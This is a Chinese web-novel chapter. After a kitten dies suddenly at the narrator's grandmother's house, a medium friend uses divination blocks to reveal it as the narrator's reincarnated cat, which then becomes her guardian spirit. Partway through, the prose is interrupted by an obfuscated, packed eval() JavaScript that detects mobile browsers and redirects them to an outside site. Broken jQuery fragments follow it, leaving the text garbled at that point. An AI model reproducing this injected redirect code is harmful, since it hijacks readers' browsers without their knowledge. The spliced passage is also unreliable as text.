那晚的事虽已了结，我心里那根弦却始终松不下来。像有什么东西在暗处细细地磨着神经末梢，说不清道不明，却实实在在悬在头顶。上班时总走神，眼前的单据化成一团模糊的影子，心神不宁得像揣了只活麻雀。


    索性牵了狗，溜达到店对面那片小公园。午后阳光本该正好，可林子里却凉飕飕的，风穿过枝桠发出空洞的呜咽。树影在地上乱颤，像无数只慌乱的手。


    忽然间，右侧太阳穴像被一根烧红的钢针贯穿——我猛抽一口气，眼前炸开一片破碎的金星。就在这片眩晕与剧痛中，一个声音毫无征兆地在我脑子里炸开，清晰得如同贴耳低语：


    “你外婆那里出事儿了，快去看看。”


    那是我的声音。但是语调平直，还有种不容置疑的迫切。


    我僵在原地，一时缓不过神，心里疑惑，刚才那是幻听吗？还是连日焦虑生出的臆想？我试着在心里默念：“若真是姜太公您在提点，便让我这头痛止住吧。”


    念头刚落，那针扎似的痛楚竟真的烟消云散。


    我心里本就不安，再加上这一句话一说，我就立马牵着狗转身回店里，准备请假去外婆家看看。


    正考虑该如何去外婆家——隔着大半座城，公交得倒两趟——就听见熟悉的“突突”声由远及近。千尘骑着她那辆白色小电驴，一个利落的刹车停在店门前，长腿支地，头盔摘下来，露出被风吹得微红的脸颊。


    “去遛狗了呀？今天太阳不错，我正想接店里那窝小祖宗出来晒晒太阳呢。”


    我眼睛一亮。机会来了。


    几乎是冲回店里，我跟老板仓促请了假，手忙脚乱地把那几只毛茸茸的奶猫拢进铺了软垫的纸箱。千尘一脸懵地看着我，我一把拉住她胳膊，压低声音：“送我去外婆家，现在，急事。路上细说。”


    小电驴载着两人一箱猫崽，在车流里灵活穿梭。风呼呼刮过耳边，我把头痛和脑中异声的事快速说了一遍。千尘听完，沉默了几秒，后视镜里映出她蹙紧的眉头。


    “不能吧？那晚咱们不是处理干净了么？”她声音裹在风里，有些模糊，但车速明显提了上去，车身微微震动。


    老城区特有的气息越来越浓——陈年油烟、潮湿的石灰墙、还有不知名花草的淡淡苦涩。外婆家那栋旧楼出现在视野里时，我的心跳又漏了一拍。


    妈妈开门时，手上还沾着面粉，一脸诧异：“这个点儿？不上班？火急火燎的……这箱子里又是啥？”


    “今天调休，带猫崽出来晒太阳，顺路看看你们。”我挤出一个笑，声音却有点发飘。一边说，一边用眼神急急示意千尘。


    外婆就坐在客厅那张老沙发里，对着电视。屏幕的光明明灭灭，映在她脸上。只一眼，我浑身的血似乎凉了半截——那脸色不对。不是平常老人家的苍白，而是一种沉郁的、发灰的暗色，像蒙了层洗不掉的尘垢，眼眶下阴影深重，连嘴唇都透着不健康的淡紫。


    我强作镇定，坐到一边，手指无意识地逗弄箱子里的小猫。千尘凑到纸箱旁，也佯装看猫，指尖轻轻掠过小猫柔软的背毛，嘴唇几乎不动，声音极小地说：


    “你外婆身上黑气很重，脸色也不好，你看见了吧……”


    我心里更加不安，刚想张嘴问怎么办——


    “啊呜！”


    纸箱里，一只最活泼的小狸花，突然发出一声短促怪异的尖叫！它整个身子瞬间绷成一张弓，四肢僵直地伸开，小小的脑袋拼命向后仰，琥珀色的眼睛瞪得滚圆，却空洞得映不出光。


    “坏了！它怎么了！”我和千尘同时低呼。


    我手疾眼快，一把将它捧出来。那小小的、温热的身躯在我掌心剧烈地抽搐了一下，随后力道便迅速流失，像沙漏里的沙。能清晰地感觉到，生命正从它柔软的身体里飞速褪去。


    “人工呼吸！心脏按压！”


    我脑子一片空白，全凭本能行动。颤抖着捏开它冰冷的小嘴，往里轻轻吹气。随即一只手覆上它茸毛覆盖的、比硬币大不了多少的胸膛，一下，一下，按下去，做着胸腔按压，薄薄的肋骨在指尖下发出细微的悲鸣。


    千尘温热的手掌也盖了上来，我感觉到一股温和却有力的“流动”从她掌心传来，涌入小猫体内。那是她的“炁”。我也慌忙收敛心神，集中注意力将自己的炁也渡了进去。


    没有用。一点用都没有。


    掌心那团小生命，抽搐渐渐停止，最后一下轻微的战栗过后，彻底松软下去。温度流逝的速度快得残忍，刚刚还暖烘烘的小身体，慢慢失去了温度。


    死了。


    就在我们眼前，不到两分钟，一条鲜活的小生命，没了。


    我和千尘僵在原地，盯着我掌中那具冰冷的小小躯壳，茫然无措，不知它为何突然就死掉了。


    就在这时，千尘无意抬头一看外婆的方向，随即低头跟我说：“你外婆脸色好像正常了，黑气也没有了。”


    我转头看去，沙发上，外婆不知何时换了个舒服的姿势，正疑惑地望着我们这边。屏幕上变换的光影映在她脸上——哪里还有半分灰败？脸色虽仍属老年人的苍白，却干净通透，眼神清明，甚至因我们的慌乱而带上一丝关切。


    “小猫怎么了？”她开口，声音平稳，略带沙哑，与往常无异。


    我喉咙发干，几乎发不出声音：“没……没事，小猫有点不舒服。” 我不想让外婆担心。但是心情复杂，我跟妈妈说：“我店里有事儿，得赶过去处理。”


    妈妈从厨房探出身：“不留下来吃饭啊？都快弄好了。”


    “来不及了，刚发信息来催！” 我搪塞道。走之前仔细看了看外婆的脸色，发现真的没异常后，心里松了口气，又叮嘱了外婆保重身体，随即和千尘离开了家。


    回去的路上，我和千尘一路无话。小电驴的嗡鸣显得格外单调。我虚握着拳，指尖仿佛还残留着小猫最后那点微弱的搏动，和迅速变得僵硬的触感。风很冷，一直灌到心里去。


    “那只小猫……” 千尘忽然开口，声音飘忽，被风吹散又聚拢，“你说……会不会是‘花花’？”


    “花花”两个字，像一把生锈的钥匙，猛地捅进记忆的锁孔，用力一拧——


    八年前，冬夜，垃圾桶边奄奄一息的绒毛团子。我把它捂在怀里带回家，用奶瓶喂大，虽然它很调皮，但它和普通的猫咪并不一样，它能听懂很多指令，并且只要学两三次就可以记住，就这样陪伴了我八年。


    半年前，一个寻常的傍晚，它吃了最爱的罐头，蹭了蹭我的小腿，然后就像往常一样从阳台缝隙溜出去“巡山”。却再也没回来。


    我找疯了，贴告示，问邻里，深夜打着手电一遍遍呼喊它的名字，但是并没有消息，我心里有直觉是不是它死了，我不知道它死在哪里，是冷是痛，有没有害怕。那之后很长一段时间，夜里听到类似猫叫的风声，心都会狠狠一缩。


    “花花？是它吗？你怎么知道？” 我喃喃道，声音沙哑，“动物的轮回……有这么快的吗？”


    “我的第六感告诉我的，先去我那儿，” 千尘语气笃定，不容置疑地调转车头，“我也想……问个明白。”


    千尘的屋子总有种令人心定的氛围。淡淡的檀香，到处都是绿植，阳光透过窗棂洒在地板上。她洗净手，恭恭敬敬点了三炷细香。烟雾笔直上升，随后袅袅散开。


    我屏息站在一旁，心脏在胸腔里沉重地撞击。香火气钻进鼻腔，莫名让人眼眶发热。


    就在视线无意扫过香案旁的阴影时，我整个人如遭雷击，彻底僵住——


    阴影里，立着一个轮廓。


    不高，约莫到我膝盖。轮廓清晰起来——那是一只猫，却用后腿直立着。它身上，套着一件极小巧、极精致的红黄色中式马甲，丝绸质地，在昏暗光线下泛着柔润的光泽，盘扣一丝不苟。圆圆的猫脸，分明是花花的模样，甚至左耳尖那簇特别翘起的毛发都一模一样。


    可那双眼睛……不再是记忆里淘气懵懂的琥珀色玻璃珠。那里面的光，沉静、温润，透着一种远超兽类的理解与悲悯，静静地、专注地凝视着我。


    “花……花花？” 声音冲出喉咙，我猛地抓住千尘的手臂，指尖冰凉，“你看见了吗？花花是站着的！还穿了衣服？！是我……是我伤心过度疯了吗？！”


    千尘转过头，看着那片阴影，脸上并无惊讶，只有一种复杂的、近乎温柔的了然。


    “我的先天炁，加上你情急之下渡过去的那点，估计都让它得了去。” 她轻声说，像是在解释，又像是在叹息，“它这不是普通的猫魂了……是开了灵智，受了点化的‘东西’。你既能看见它，不如自己问个清楚。”


    她把那对茭杯放入我掌心，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908344|192415||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我深吸一口气，定了定神，抛出第一个问题，声音仍止不住地发颤：


    “你……真的是花花吗？”


    茭杯脱手，在空中划过短暂的弧线。


    “啪。”


    一声轻响，落在光滑的地面上。


    一正一反。圣卦。


    是。


    滚烫的液体瞬间冲上眼眶，视线模糊。我用力眨掉，胡乱抹了一把脸，稳住发抖的手，问出那个折磨了我半年的问题：


    “当初……为什么没回来？是有人抓了你吗？还是你不认识回家的路了？”


    这一次，没有声音。却有一段清晰无比的、带着暖意的“思绪”，如同溪流般温柔地注入我的脑海：


    “感觉得到……时候要到了，身上很重，很冷。不能死在家里，你看见了会哭的，你哭起来，很难受，我不要你那么难受。”


    我把这段“话”复述出来，每个字都像刀片刮过喉咙。原来它什么都知道。知道大限将至，知道自己会变成一具冰冷的躯体，知道我会心碎。所以它选择孤独地离开，独自面对黑暗与终结。


    这个傻孩子。


    茭杯再掷。圣卦。印证无误。


    心口又酸又软，胀得发痛。我看向阴影里静静站立的花花，它依旧穿着那身可笑又庄严的小马甲，眼神平静。


    “今天……死在我手上那只小狸花，是你吗？” 我问出最残忍的问题。


    圣卦。


    果然。


    “为什么？！” 情绪终于决堤，我几乎是在低吼，混合着心痛、愤怒和巨大的不解，“好不容易又来了！好不容易有了新的开始！为什么就这么轻易又没了？！你知不知道我多难过？！”


    千尘在一旁，声音沉静，却带着洞悉一切的悲悯：


    “它恐怕是……把你外婆身上那些纠缠的秽气、病气，引到了自己身上。它想用这条崭新的、脆弱的小命，替你外婆挡一下灾，或者……续上哪怕一点点被侵蚀的生机。动物的心思最纯粹，认定了要护着谁，就什么都舍得出去。”


    “报恩？” 我咀嚼着这两个字，看向花花灵体。它微微偏着头，眼神清澈，仿佛在做一件再自然不过的事。泪水再次汹涌而出，“它是不是傻啊？！一个小猫崽儿，它懂什么续命挡灾！谁要它这么干！这个蠢东西……蠢透了……”


    “纯粹，所以无畏。” 千尘轻轻叹息，递过一张纸巾，“问问它现在吧。它得了你我之炁，又行了这‘替身’之事，灵体已非寻常阴魂。想去正经轮回，怕是路也不同了。”


    我擦去满脸的眼泪，重新握紧茭杯，木头的纹理硌着掌心：


    “花花，你还想去投胎吗？”


    阴卦。不想。


    “那……你想留在我身边？” 问出这话时，心里那模糊的预感逐渐清晰。


    圣卦。


    一个闪电般的念头划过脑海，我脱口而出：“难道……你想当我的‘护法’？” 我所理解的护法，便是长久的陪伴与守望。


    圣卦！掷地有声。


    我看向千尘，寻求确认。她点了点头，目光中有肃然，也有感慨：


    “它已非凡猫之魂。猫性通幽，敏于阴阳，最擅引路安抚。日后你若再遇阴晦之事，或有无主亡魂、往生的小动物，它可以帮你指引、安抚、送它们一程。这于它，是修行，也是功德。”


    我再次捧起茭杯，如同举行一个郑重的仪式，一字一句问道：


    “花花，你是否愿意，成为我的护法，相伴同行？”


    茭杯落下。


    一正一反。圣卦。稳稳当当。


    心里那翻江倒海的滋味，终于缓缓沉淀。难过，为它两次短暂而决绝的生命；震撼，为这跨越生死、不计代价的守护；温暖，为这失而复得、以另一种形态的重逢。


    它不会再跳上我的膝头，用带着倒刺的小舌头舔我的手指，也不会在清晨用毛茸茸的脑袋拱醒我。我再也触摸不到它阳光下温暖的皮毛。


    可是，它就站在那里。在香案旁的阴影与光明的交界处，穿着那身有点滑稽却异常郑重的小小马甲，身姿挺拔。那双澄澈的眼中，盛着过往的依恋，此刻的坚定，与未来的守望。


    我知道，我的花花，回家了。


    它不再是那个需要我庇护、等待我归家的小小毛团，而是我未来走的这条路上的，坚定的伙伴。